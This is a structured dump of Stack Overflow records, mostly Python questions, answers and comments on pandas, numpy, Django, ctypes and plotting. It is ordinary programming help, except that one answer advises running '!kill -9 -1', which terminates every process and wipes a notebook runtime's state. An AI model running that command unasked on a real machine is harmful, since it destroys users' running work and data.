has body: header = ['chr', 'pos', 'ms01e_PI', 'ms01e_PG_al', 'ms02g_PI', 'ms02g_PG_al', 'ms03g_PI', 'ms03g_PG_al', 'ms04h_PI', 'ms04h_PG_al'] I want to convert the above list elements into list of tuples. Like: sample_list = [('ms01e_PI', 'ms01e_PG_al'), ('ms02g_PI', 'ms02g_PG_al'), 'ms03g_PI', 'ms03g_PG_al'), ('ms04h_PI', 'ms04h_PG_al')] I am thinking lambda or list comprehension can be used to approach this in a short and comprehensive way. sample_list = [lambda (x,y): x = a if '_PI' in a for a in header ..] or, [(x, y) if '_PI' and '_PG_al' in a for a in header] any suggestions?
has answer: http://stackoverflow.com/a/48715082

http://stackoverflow.com/comment/84468352
type: Comment
has text: Because the entry model is now the link to the product and cart models, we can grab our objects in a queryset from the entry. We then can grab a values list from that queryset. That list can be used to display the products in the cart.
comment on: http://stackoverflow.com/a/48718661
type: AnswerComment
score: 0

http://stackoverflow.com/comment/84488736
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48744271
has text: Thanks for quick response @Alasdair, I tried this approach also, but when I am doing `hasattr(response, 'data')` that its returning `False` and also my data is not retirevable
type: Comment

http://stackoverflow.com/a/48683731
type: Answer
has body: Why don't import checkfile directly, don't run via os.system() If you are looking for a non-blocking way to execute your function in checkfile.py, look at : https://docs.python.org/2/library/threading.html https://www.tutorialspoint.com/python/python_multithreading.htm : import checkfile with open(file) as k: for line in k: ltab = line.split(':') if len(ltab) &gt; 2: time.sleep(5) checkfile.my_func(ltab[0], ltab[1], ltab[2])
score: 0
answers question: http://stackoverflow.com/q/48683238

http://stackoverflow.com/q/48695259
has body: I have a dataframe similar to: df = pd.DataFrame({'Date': ['2016-01-05', '2016-01-05', '2016-01-05', '2016-01-05', '2016-01-08', '2016-01-08', '2016-02-01'], 'Count': [1, 2, 2, 3, 2, 0, 2]}) and I am trying to plot a histogram of Count for each unique Date I've tried: for date in df.Date.unique(): plt.hist([df[df.Date == '%s' %(date)]['Count']]) plt.title('%s' %(date)) which results in --------------------------------------------------------------------------- KeyError Traceback (most recent call last) &lt;ipython-input-17-971a1cf07250&gt; in &lt;module&gt;() 1 for date in df.Date.unique(): ----&gt; 2 plt.hist([df[df.Date == '%s' %(date)]['Count']]) 3 plt.title('%s' %(date)) c:~\anaconda3\lib\site-packages\matplotlib\pyplot.py in hist(x, bins, range, normed, weights, cumulative, bottom, histtype, align, orientation, rwidth, log, color, label, stacked, hold, data, **kwargs) 2963 histtype=histtype, align=align, orientation=orientation, 2964 rwidth=rwidth, log=log, color=color, label=label, -&gt; 2965 stacked=stacked, data=data, **kwargs) 2966 finally: 2967 ax.hold(washold) c:~\anaconda3\lib\site-packages\matplotlib\__init__.py in inner(ax, *args, **kwargs) 1816 warnings.warn(msg % (label_namer, func.__name__), 1817 RuntimeWarning, stacklevel=2) -&gt; 1818 return func(ax, *args, **kwargs) 1819 pre_doc = inner.__doc__ 1820 if pre_doc is None: c:~\anaconda3\lib\site-packages\matplotlib\axes\_axes.py in hist(self, x, bins, range, normed, weights, cumulative, bottom, histtype, align, orientation, rwidth, log, color, label, stacked, **kwargs) 5925 5926 # basic input validation -&gt; 5927 flat = np.ravel(x) 5928 5929 input_empty = len(flat) == 0 c:~\anaconda3\lib\site-packages\numpy\core\fromnumeric.py in ravel(a, order) 1482 return asarray(a).ravel(order=order) 1483 else: -&gt; 1484 return asanyarray(a).ravel(order=order) 1485 1486 c:~\anaconda3\lib\site-packages\numpy\core\numeric.py in asanyarray(a, dtype, order) 581 582 """ --&gt; 583 return array(a, dtype, copy=False, o…
score: 0
tagged with: pandas
tagged with: python
tagged with: keyerror
has title: KeyError when using for loop on dataframe to plot histograms
has answer: http://stackoverflow.com/a/48696097
accepted answer: http://stackoverflow.com/a/48696097
type: AnsweredQuestion
tagged with: matplotlib
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/48695361
has answer: http://stackoverflow.com/a/48695361
tagged with: histogram

http://stackoverflow.com/q/48663280
type: UnansweredQuestion
tagged with: datetime
tagged with: python
has body: 2018-02-06T14:45:03.0040554Z Unable to convert this string to datetime. datetime.strptime('2018-02-06T14:45:03.0040554Z', '%Y-%m-%dT%H:%M:%fZ') I am trying this and it doesn't work. datetime.strptime('2018-02-06T14:45:03Z', '%Y-%m-%dT%H:%M:%fZ') This work for above time format. But I'm getting this time string from third party api so can't change its format.
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/48663694
type: Question
has title: How to convert this string in python
has comment: http://stackoverflow.com/comment/84324619
answer count: 3
linked to: http://stackoverflow.com/q/40783222
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/48663348
has answer: http://stackoverflow.com/a/48663770

http://stackoverflow.com/comment/84424629
has text: @sniperd that seems to be doing the trick! Thanks for setting me on the right path. I can modify that function to do what I need to do from here on out!
comment on: http://stackoverflow.com/q/48712081
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48757562
downvote count: 0
answers question: http://stackoverflow.com/q/48757500
has comment: http://stackoverflow.com/comment/84516238
accepted answer of: http://stackoverflow.com/q/48757500
type: Answer
score: 1
upvote count: 1
has body: Maybe there's another white character at the end? I'd recommend using spaceless tag. According to docs, it: removes whitespace between HTML tags. This includes tab characters and newlines. {% spaceless %}{{contact.Phone|cut:"("|cut:")"|cut:"-"|cut:" "}{% endspaceless %} Edit: as pointed by @iklinac in the comments below |cut:" " is still needed as spaceless is not allowed to modify variables you passed to the template.
has comment: http://stackoverflow.com/comment/84516168
type: AcceptedAnswer

django-mptt
tags question: http://stackoverflow.com/q/48690731
tag name: django-mptt
tags question: http://stackoverflow.com/q/48677262
type: Tag

http://stackoverflow.com/a/48717703
has body: reshape argument x in the function dvar_3, the init argument of fmin() needs a one-dim array. import numpy as np from scipy.optimize import fmin import math def dvar_3(x): x = x[:, None] B=np.eye(5) H=np.ones((3,5)) R=np.eye(3) xb=np.ones(5) Y=np.ones(3) Y.shape=(Y.size,1) xb.shape=(xb.size,1) value=np.dot(np.dot(np.transpose(x-xb),(np.linalg.inv(B))),(x-xb)) +np.dot(np.dot(np.transpose(Y-np.dot(H,x)),(np.linalg.inv(R))),(Y-np.dot(H,x))) return value[0][0] ini=np.ones(5) # fmin(dvar_3,ini) #start at initial vector
upvote count: 3
type: Answer
score: 3
downvote count: 0
answers question: http://stackoverflow.com/q/48715939

http://stackoverflow.com/comment/84420488
type: Comment
has text: `set().difference()` and `set().intersection()` are slightly faster because you can avoid creating a second `set()` object. Still, dictionary views are faster again by the same factor.
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/48710441

http://stackoverflow.com/comment/84553081
comment on: http://stackoverflow.com/a/48775211
type: AnswerComment
score: 0
type: Comment
has text: Either way I will accept your answer because it answered all my examples above. Thanks!

http://stackoverflow.com/a/48981930
upvote count: 10
type: Answer
answers question: http://stackoverflow.com/q/48750199
score: 7
has body: If you execute a cell that just has !kill -9 -1 in it, that'll cause all of your runtime's state (including memory, filesystem, and GPU) to be wiped clean and restarted. Wait 30-60s and press the CONNECT button at the top-right to reconnect.
has comment: http://stackoverflow.com/comment/85133282
downvote count: 3
has comment: http://stackoverflow.com/comment/85453773

http://stackoverflow.com/a/48790889
type: Answer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48789358
answers question: http://stackoverflow.com/q/48789358
has body: Thanks @daniel-roseman for the link I realized this as follows. from django.db.models.signals import pre_save from django.dispatch import receiver @receiver(pre_save, sender='app_name.Example') def my_callback(sender, instance, *args, **kwargs): instance.total_score_of_team_1 = instance.1_score_team_1 + instance.2_score_team_1 instance.total_score_of_team_2 = instance.1_score_team_2 + instance.2_score_team_2
score: 1
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/84398802
score: 0
comment on: http://stackoverflow.com/q/48699981
type: Comment
type: QuestionComment
has text: @HaochenWu I just want to know how we can solve it using memoize. So any way i will deeply go into your link, because I don't know much about those buffering . Thanks

http://stackoverflow.com/q/48753808
tagged with: python
type: AnsweredQuestion
tagged with: dataframe
has answer: http://stackoverflow.com/a/48755781
type: Question
tagged with: numpy
tagged with: function
accepted answer: http://stackoverflow.com/a/48755781
answer count: 1
score: 0
has body: I have a list list = ['OUT', 'IN']where all the elements of the list is a variable name in the data frame with suffixes _3M, _6M, _9M, 15Mattached to it. List: list = ['OUT', 'IN'] Input_df: ID OUT_3M OUT_6M OUT_9M OUT_15M IN_3M IN_6M IN_9M IN_15M A 2 3 4 6 2 3 4 6 B 3 3 5 7 3 3 5 7 C 2 3 6 6 2 3 6 6 D 3 3 7 7 3 3 7 7 The problem I am solving to do is subtracting the 1.OUT_6M from OUT_3M and entering in into separate column as Out_3M-6M 2.OUT_9M from OUT_6M and entering in into separate column as Out_6M-9M 3.OUT_15M from OUT_9M and entering in into separate column as Out_9M-15M The Same repeats to each and every element in the list while keeping the OUT_3M and IN_3M which I mentioned in the sample Output_df dataset. Output_df: ID Out_3M Out_3M-6M Out_6M-9M Out_9M-15M IN_3M IN_3M-6M IN_6M-9M IN_9M-15M A 2 1 1 2 2 1 1 2 B 3 0 2 2 3 0 2 2 C 2 1 3 0 2 1 3 0 D 3 0 4 0 3 0 4 0 There are many elements in the list which I need to perform operation on. Is there any way I could solve this by writing a function. Thanks!
tagged with: pandas
has title: Function for DataFrame operation using variables in the list with Python

http://stackoverflow.com/q/48786528
linked to: http://stackoverflow.com/q/20449427
score: -1
has comment: http://stackoverflow.com/comment/84574436
type: Question
linked to: http://stackoverflow.com/q/23294658
tagged with: python-3.5
has comment: http://stackoverflow.com/comment/84574438
duplicate of: http://stackoverflow.com/q/23294658
tagged with: while-loop
answer count: 3
has comment: http://stackoverflow.com/comment/84574439
has comment: http://stackoverflow.com/comment/84574448
has body: I'm trying to write a code where the program keeps getting the user input in integers and adds it to an empty array. As soon as the user enters "42", the loop stops and prints all the collected values so far. Ex: Input: 1 2 3 78 96 42 Output: 1 2 3 78 96 Here is my code (which isn't working as expected): num = [] while True: in_num = input("Enter number") if in_num == 42: for i in num: print (i) break else: num.append(in_num)
downvote count: 1
has comment: http://stackoverflow.com/comment/84574459
favorite count: 0
has comment: http://stackoverflow.com/comment/84575702
upvote count: 0
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/48786682
has answer: http://stackoverflow.com/a/48786592
has title: Getting user input till I meet a condition in python
has answer: http://stackoverflow.com/a/48786863

http://stackoverflow.com/comment/84460103
score: 0
type: Comment
has text: It is also unclear what you expect to happen in the case when there is *no* sorted sublist of length greater than 1. (I am assuming sorted sublists of length 1 are not of interest, of course, but please correct me if that assumption is wrong.) And what about the empty list containing no elements whatsoever?
type: QuestionComment
comment on: http://stackoverflow.com/q/48728468

http://stackoverflow.com/comment/84547140
has text: sorry to bother you, did you get the correct output?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48771902
type: Comment

http://stackoverflow.com/comment/84327666
type: QuestionComment
comment on: http://stackoverflow.com/q/48664043
score: 0
has text: @mistervela isolated items means.??
type: Comment

http://stackoverflow.com/a/48771960
score: 0
type: Answer
has body: There are two common methods: bilinear interpolation, bicubic interpolation. These evaluate an intermediate value, based on the values at four or sixteen neighboring pixels, using weighting functions based on the fractional parts of the coordinates. Lookup these expressions. From my experience, the bilinear quality is often sufficient.
answers question: http://stackoverflow.com/q/48767750

http://stackoverflow.com/q/48731368
has body: I need to generate 100 numbers from 1-500 and append it to an empty list, but I don't know how to fix my code. There is a &lt;'none'> at the end when I print it. And when I used a len function to count a, it only says 1, so it didn't really added the 100 numbers. a = [] import random print("original: \n") for x in range(100): nums = random.randint(1,501) b = print(nums, end=" ") a.append(b) print(a) print(len(a))
has answer: http://stackoverflow.com/a/48731399
accepted answer: http://stackoverflow.com/a/48731399
has answer: http://stackoverflow.com/a/48731406
type: Question
possible better answer: http://stackoverflow.com/a/48731395
has comment: http://stackoverflow.com/comment/84461977
upvote count: 1
has answer: http://stackoverflow.com/a/48731395
has answer: http://stackoverflow.com/a/48732695
tagged with: python
has title: Generate 100 numbers at once and make it a list and add it to an empty list
has comment: http://stackoverflow.com/comment/84578174
has answer: http://stackoverflow.com/a/48731485
favorite count: 0
tagged with: python-3.x
answer count: 5
type: AnsweredQuestion
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84461850

http://stackoverflow.com/a/48775754
downvote count: 0
score: 1
type: AcceptedAnswer
has body: Add a space before months: % sqlite3 sqlite&gt; select datetime('2018-02-13', '+' || 4 || ' months'); 2018-06-13 00:00:00 sqlite&gt; select datetime('2018-02-13', '+' || 4 || 'months'); sqlite&gt;
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/48775552
accepted answer of: http://stackoverflow.com/q/48775552

python-multithreading
tags question: http://stackoverflow.com/q/48652051
tags question: http://stackoverflow.com/q/48660734
tags question: http://stackoverflow.com/q/48721620
tags question: http://stackoverflow.com/q/48689936
type: Tag
tags question: http://stackoverflow.com/q/48667377
tags question: http://stackoverflow.com/q/48756691
tags question: http://stackoverflow.com/q/48743309
tags question: http://stackoverflow.com/q/48766502
tags question: http://stackoverflow.com/q/48724986
tag name: python-multithreading
tags question: http://stackoverflow.com/q/48678116
tags question: http://stackoverflow.com/q/48743451

http://stackoverflow.com/comment/84564117
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48781344
score: 0
has text: [1, 2, 3, 33, 40]

http://stackoverflow.com/q/48762580
has comment: http://stackoverflow.com/comment/84526155
answer count: 0
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84526165
tagged with: machine-learning
tagged with: python
has title: Getting names and number of selected features before giving to a classifier in sklearn pipeline
has comment: http://stackoverflow.com/comment/84531049
score: 2
has comment: http://stackoverflow.com/comment/84530101
has comment: http://stackoverflow.com/comment/84526212
type: Question
tagged with: feature-selection
downvote count: 0
tagged with: scikit-learn
has comment: http://stackoverflow.com/comment/84525847
has comment: http://stackoverflow.com/comment/84526321
has body: I am using sel = SelectFromModel(ExtraTreesClassifier(10), threshold='mean') to select the most important features in my data set. Then I want to feed these selected features to my keras classifier. But my keras based Neural Network classifier needs the number of imprtant features selected in the first step. Below is the code for my keras classifier and the variable X_new is the numpy array of new features selected. The code for keras classifier is as under. def create_model( dropout=0.2): n_x_new=X_new.shape[1] np.random.seed(6000) model_new = Sequential() model_new.add(Dense(n_x_new, input_dim=n_x_new, kernel_initializer='glorot_uniform', activation='sigmoid')) model_new.add(Dense(10, kernel_initializer='glorot_uniform', activation='sigmoid')) model_new.add(Dropout(0.2)) model_new.add(Dense(1,kernel_initializer='glorot_uniform', activation='sigmoid')) model_new.compile(loss='binary_crossentropy',optimizer='adam', metrics=['binary_crossentropy']) return model_new seed = 7 np.random.seed(seed) clf=KerasClassifier(build_fn=create_model, epochs=10, batch_size=1000, verbose=0) param_grid = {'clf__dropout':[0.1,0.2]} model = Pipeline([('sel', sel),('clf', clf),]) grid = GridSearchCV(estimator=model, param_grid=param_grid,scoring='roc_auc', n_jobs=1) grid_result = grid.fit(np.concatenate((train_x_upsampled, cross_val_x_upsampled), axis=0), np.concatenate((train_y_upsampled, cross_val_y_upsampled), axis=0)) As I am using Pipline with grid search, I don't understand how my neural network will get the important features selected in the first step. I want to get those important features selected into an array of X_new. Do I need to implement a custom estimator in between sel and keras model? If yes, How would I implement one? I know the generic code for custom estimator but I am unable to mold it according to my requirement. The generic code is as under. class new_features(TransformerMixin): def transform(self, X): X_new = sel.transform(X) return X_new But this is not workin…
has comment: http://stackoverflow.com/comment/84526327
favorite count: 0
has comment: http://stackoverflow.com/comment/84532421

http://stackoverflow.com/q/48761703
downvote count: 1
has answer: http://stackoverflow.com/a/48762093
favorite count: 0
tagged with: pandas
possible better answer: http://stackoverflow.com/a/48762093
has answer: http://stackoverflow.com/a/48762355
tagged with: python
has answer: http://stackoverflow.com/a/48762134
accepted answer: http://stackoverflow.com/a/48762134
score: 1
has body: i have a dataframe that looks like the below. i want to plot something like a stacked bar chart where each layer of the stack is the listing neighborhood count. Thing is, i already aggregated the count for each listing. I want something like this the above But the chart size should be different for each color and the y-axis should be count. my code: df.groupby(['country','listing_neighborhood']).size().unstack().plot(kind='bar', stacked=True) I also tried: df.plot(x='country',y='count',stacked=True,kind='bar') But i want them stacked but it doesnt seem to work
has title: How to plot a stacked bar chart when data is already aggregated
type: Question
type: AnsweredQuestion
tagged with: matplotlib
upvote count: 2
answer count: 3

http://stackoverflow.com/a/48713998
accepted answer of: http://stackoverflow.com/q/48692788
answers question: http://stackoverflow.com/q/48692788
type: Answer
score: 1
upvote count: 1
has body: You can use usercustomize script from the site module to achieve something like this. First, find out where your user site-packages directory is: python3 -c "import site; print(site.USER_SITE)" /home/foo/.local/lib/python3.6/site-packages Next, in that directory, create a script called usercustomize.py - this script will now be run first whenever python is run. One* way to replace print is to override the __builtins__ dict and replace it with a new method - something like: from functools import partial old_print = __builtins__['print'] __builtins__['print'] = partial(old_print, "Debug prefix: ", flush=True) Drop this into the usercustomize.py script and you should see all python scripts from then on being overridden. You can temporarily disable calling this script by calling python with the -s flag. *(Not sure if this is the correct way of doing this - there may be a better way - but the main point is that you can use usercustomize to deliver whatever method you choose).
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84452257
downvote count: 0

http://stackoverflow.com/comment/84432867
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48716716
has text: I now understand what you need. Have a look at the updated answer.
type: AnswerComment

http://stackoverflow.com/comment/84543001
score: 0
has text: That compile type might have given a new object which will be formatted at runtime kind of thing.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48770616

http://stackoverflow.com/q/48692237
has comment: http://stackoverflow.com/comment/84399433
tagged with: webserver
has body: I have completed my web socket API in Python: #import socket module from socket import * serverPort = 80 #Port Used serverSocket = socket(AF_INET, SOCK_STREAM) serverSocket.bind(('', serverPort)) serverSocket.listen(1) print "The server is ready to receive" while True: #Establish the connection print 'Ready to serve...' connectionSocket, addr = serverSocket.accept() try: message = connectionSocket.recv(1024) filename = message.split()[1] f = open(filename[1:]) outputdata = f.read() print outputdata connectionSocket.send('\nHTTP OK\n') connectionSocket.send(outputdata) for i in range(0, len(outputdata)): connectionSocket.send(outputdata[i]) connectionSocket.close() except IOError: connectionSocket.send('\n404 Not Found\n') connectionSocket.send('\n404 Not Found\n') And I have a simple .html file which is on my XAMPP server. The task is to run the Python API and then access the host (in my case localhost:80) in order to access the .html file and get from the console all the necessary information. Here is the problem: After I try to run my API it gives me the following error: Traceback (most recent call last): File "hw2.py", line 6, in &lt;module&gt; serverSocket.bind(('', serverPort)) File "/usr/lib/python2.7/socket.py", line 228, in meth return getattr(self._sock,name)(*args) socket.error: [Errno 98] Address already in use
type: Question
has comment: http://stackoverflow.com/comment/84396016
downvote count: 0
has comment: http://stackoverflow.com/comment/84385753
has title: Socket Programming for Web Server [Errno 98]
favorite count: 0
has comment: http://stackoverflow.com/comment/84385598
has comment: http://stackoverflow.com/comment/84444236
score: 2
answer count: 0
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84444255
tagged with: python

http://stackoverflow.com/comment/84297223
type: QuestionComment
comment on: http://stackoverflow.com/q/48649020
has text: replace `map(_delete_load_log,list(logs_to_delete))` to `map(_delete_load_log,[logs_to_delete])`
score: 0
type: Comment

http://stackoverflow.com/a/48682637
has comment: http://stackoverflow.com/comment/84362870
has comment: http://stackoverflow.com/comment/84363035
type: Answer
has comment: http://stackoverflow.com/comment/84363811
has comment: http://stackoverflow.com/comment/84362788
has comment: http://stackoverflow.com/comment/84363185
has comment: http://stackoverflow.com/comment/84362511
has body: I can see cmd window pops when run your exe to remove that use this command -w and also to compile as onefile into dist folder use -F to compile it as a single file, do this to resolve the issue pyinstaller -w -F replace this with your script name.py It will compile the file as one file for you and the use will be res
answers question: http://stackoverflow.com/q/48682310
score: 0

http://stackoverflow.com/comment/84563317
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48780016
has text: Of course it's possible, but we don't do the work for you. Please visit the [help] and read [ask] to learn how to use this site effectively.
score: 0

http://stackoverflow.com/a/48707182
accepted answer of: http://stackoverflow.com/q/48707117
answers question: http://stackoverflow.com/q/48707117
has comment: http://stackoverflow.com/comment/84413232
type: AcceptedAnswer
downvote count: 0
score: 23
type: Answer
upvote count: 23
has body: First flatten values of lists and then count by value_counts or size or Counter: a = pd.Series([item for sublist in din.x for item in sublist]) Or: a = pd.Series(np.concatenate(din.x)) df = a.value_counts().sort_index().rename_axis('x').reset_index(name='f') Or: df = a.groupby(a).size().rename_axis('x').reset_index(name='f') from collections import Counter from itertools import chain df = pd.Series(Counter(chain(*din.x))).sort_index().rename_axis('x').reset_index(name='f') print (df) x f 0 a 2 1 b 1 2 c 2 3 d 1 4 e 1

http://stackoverflow.com/comment/84336289
type: QuestionComment
has text: I am not sure from where it is picking up 'ssoHistory' (in camel case) in the stack trace. There is no file, variable named as such.
comment on: http://stackoverflow.com/q/48657726
score: 0
type: Comment

http://stackoverflow.com/comment/87023408
comment on: http://stackoverflow.com/a/48647234
score: 0
has text: use `cursor = ctypes.wintypes.POINT()` and `ctypes.windll.user32.GetCursorPos(ctypes.byref(cursor))` to get correct position on multiple monitors
type: AnswerComment
type: Comment

http://stackoverflow.com/q/48708133
type: Question
has answer: http://stackoverflow.com/a/48713292
tagged with: sympy
has body: I'm trying to create a multiplicative group of order q. This code generates an additive cyclic group of order 5 from sympy.combinatorics.generators import cyclic list(cyclic(5)) [(4), (0 1 2 3 4), (0 2 4 1 3), (0 3 1 4 2), (0 4 3 2 1)] Any help ?
upvote count: 1
has title: multiplicative group using SymPy
answer count: 1
favorite count: 0
type: UnansweredQuestion
tagged with: python
downvote count: 0
score: 1

http://stackoverflow.com/comment/84367403
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48684991
has text: Which is why we keep duplicates around; more google juice.

http://stackoverflow.com/a/48680426
answers question: http://stackoverflow.com/q/48680232
downvote count: 0
has comment: http://stackoverflow.com/comment/84357903
upvote count: 2
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84358008
type: Answer
accepted answer of: http://stackoverflow.com/q/48680232
has body: When you do Quaternion[:,2]*=-1 in the first line, you are mutating the Quaternion array. This is not a local copy of that array, but the actual array you pass in from the outside. So every time you run this code, you have different signs on those elements. After having run the function twice, the array is back to the start (since, obviously, -1*-1 = 1). One way to get around this is to make a local copy first: Quaternion_temp = Quaternion.copy()
score: 2

http://stackoverflow.com/comment/96334657
type: QuestionComment
type: Comment
has text: Not sure what "pythonic" would refer to, but if you're looking for the most efficient or fastest method to draw many lines, this would be [through a `LineCollection`](https://stackoverflow.com/questions/54492963/many-plots-in-less-time-python/54544965#54544965).
score: 0
comment on: http://stackoverflow.com/q/48701013

http://stackoverflow.com/comment/84424819
type: Comment
has text: Thank you @K Thomgren, it still does not work. If I try render_template('view.html', table= jsonify({'data': meas})) instead, it now attempts to load the table, but gives an error. I tried to give data to ajax as "" also did not work.
score: 0
comment on: http://stackoverflow.com/a/48707124
type: AnswerComment

http://stackoverflow.com/comment/84575596
type: AnswerComment
comment on: http://stackoverflow.com/a/48786594
type: Comment
has text: @Madi7 are you sure you have many phones for client? Did you check in DB? Also it would be good to remove `phone` from `fields` list: `fields = ('id', 'title', 'phone_set')`
score: 0

http://stackoverflow.com/comment/84461455
type: AnswerComment
has text: But then you will lose control over the loop in the other thread? What would I do if I want to shutdown the running server from the main thread?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48726076

http://stackoverflow.com/q/48768161
favorite count: 0
type: Question
tagged with: python
tagged with: c++
has answer: http://stackoverflow.com/a/48780904
upvote count: 1
has body: I am discovering the world of ctypes because I am writing a DLL in C++ on Windows with a C wrapper to be able to use it on Python for example. I don't understand how it works with pointer on Python when I return for example a char * from my C++ function, how to get the data at the adress of the pointer ? myClass.h file: #include "myClassInc.h" class __declspec(dllexport) myClass// __declspec to generate .lib file { public: // Attributes char * name; // Methods myClass(); ~myClass(); bool myMethod(string); }; myClassInc.h (C wrapper) : #ifdef MYCLASS # define EXPORT __declspec(dllexport) #else # define EXPORT __declspec(dllimport) #endif // Wrapper in C for others languages (LabVIEW, Python, C#, ...) extern "C" { EXPORT typedef struct myClass myClass; // make the class opaque to the wrapper EXPORT myClass* cCreateObject(void); EXPORT char* cMyMethod(myClass* pMyClass); } and myClass.cpp : #include "myClass.h" myClass::myClass() {} myClass::~myClass() {} bool myClass::myMethod(string filename_video) { int iLength = filename_video.length(); name = new char[iLength+1]; strcpy(name, filename_video.c_str()); return true; } myClass* cCreateObject(void) { return new myClass(); } char * cMyMethod(myClass* pMyClass) { if (pMyClass-&gt;myMethod("hello world")) return pMyClass-&gt;name; } Finally pythonScript.py : from ctypes import * mydll = cdll.LoadLibrary("mydll.dll") class mydllClass(object): def __init__(self): mydll.cCreateObject.argtypes = [c_void_p] mydll.cCreateObject.restype = c_void_p mydll.cMyMethod.argtypes = [c_void_p] mydll.cMyMethod.restype = POINTER(c_char_p) self.obj = mydll.cCreateObject("") def myMethod(self): return mydll.cMyMethod(self.obj) f = mydllClass() # Create object a = f.myMethod() # WANT HERE TO READ "HELLO WORLD" The result in a is &lt;__main__.LP_c_char_p object at 0x0000000002A4A4C8&gt;. I don't find on the ctypes documentation how to read the data of a pointer like this. Can you help me please? The same question will follow if I want to pass …
answer count: 1
has title: Python Ctypes read char* returned from C++ dll
accepted answer: http://stackoverflow.com/a/48780904
tagged with: ctypes
type: AnsweredQuestion
downvote count: 0
score: 1

http://stackoverflow.com/comment/84556554
has text: Thank you. I am hoping this will work. I got the following error. " if row[0] in result: IndexError: list index out of range" Not sure why? any ideas? Thanks again
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/48777421

http://stackoverflow.com/a/48783218
has comment: http://stackoverflow.com/comment/84577869
answers question: http://stackoverflow.com/q/48783172
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: I don't quite understand why you try to convert the dictionary to list when what you want is in fact dict. It seems you don't understand how to do dict comprehension. Try this approach: converted_dict = { key: {'row': value[1], 'column': value[2]} for key, value in cleaned_dict.items() } Also note that if you want to iterate over both the keys and the values in a dictionary you should call dictionary.items() (like in the code above)
upvote count: 2
accepted answer of: http://stackoverflow.com/q/48783172
score: 2

http://stackoverflow.com/comment/84305318
has text: I am very very basic at using python, thank you for the input.
comment on: http://stackoverflow.com/q/48653496
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84521110
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48759970
has text: Thanks for all your help with this. I'll put @ThomasKühn in the acknowledgements. Probably co-author!

http://stackoverflow.com/a/48669427
answers question: http://stackoverflow.com/q/48669338
type: Answer
score: 2
upvote count: 2
has body: You want the multiset operations provided by collections.Counter: &gt;&gt;&gt; L = [3, 1, 4, 1, 5, 9, 2, 6, 5] &gt;&gt;&gt; x = [4, 1, 3] &gt;&gt;&gt; list((Counter(L) - Counter(x)).elements()) [1, 5, 5, 9, 2, 6] This is O(n). You can also preserve order and maintain O(n) using an OrderedCounter if necessary. from collections import Counter, OrderedDict class OrderedCounter(Counter, OrderedDict): pass
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48669338

http://stackoverflow.com/comment/84303942
has text: You must save this state when it is changed with the QComboBox, so you must have an additional attribute in Asset that is the selected item.
score: 0
comment on: http://stackoverflow.com/q/48649645
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84427615
type: Comment
type: QuestionComment
has text: If you're inserting 6 million rows, you for sure exceed timeout of 30 seconds. Have you tried to input chunks instead all at once. `to_sql` has optional parameter `chunksize` that you can use.
comment on: http://stackoverflow.com/q/48711385
score: 0

http://stackoverflow.com/q/48714155
possible better answer: http://stackoverflow.com/a/48714248
has comment: http://stackoverflow.com/comment/84428111
favorite count: 0
has title: Reading a large numpy save file iteratively (i.e. with a generator) when the dtype=object
tagged with: memory-mapped-files
tagged with: python
has body: I have a large numpy save file (potentially larger than fits in memory). The dtype is object (it's a numpy array of variable length numpy arrays). Can I avoid reading the entire file into memory? E.g. build a generator to read elements iteratively. With standard numpy dtypes np.load(filename, mmap_mode='r') would do the trick, but you can't use mmap_mode with object data types. Is there any chance I can stream bytes through a reader? Or another trick I'm not aware of?
has comment: http://stackoverflow.com/comment/84427718
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48714388
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84428152
score: 1
accepted answer: http://stackoverflow.com/a/48714388
has answer: http://stackoverflow.com/a/48714248
tagged with: numpy
answer count: 2
downvote count: 0

http://stackoverflow.com/comment/84593064
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/48795350
has text: I think you need to use `isin()`. Try: `german_states[german_states['states'].isin(['12345, Munich, Bavaria'])]`

http://stackoverflow.com/a/48650073
type: Answer
has comment: http://stackoverflow.com/comment/84327280
score: 1
upvote count: 1
downvote count: 0
has body: You can try using str.format(*args, **kwargs): fmt = 'https://farm{farm-id}.staticflickr.com/{server-id}/{photo-id}_{secret}.jpg' values = { 'farm-id': '1', 'server-id': 2, 'photo-id': '1418878', 'secret': '1e92283336', 'size': 'm' } fmt.format(**values) Everything surrounded with { and } in format string is called "replacement field". It ca be used with kwargs for such formatting. More info here.
answers question: http://stackoverflow.com/q/48649796

http://stackoverflow.com/a/48769895
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48756700
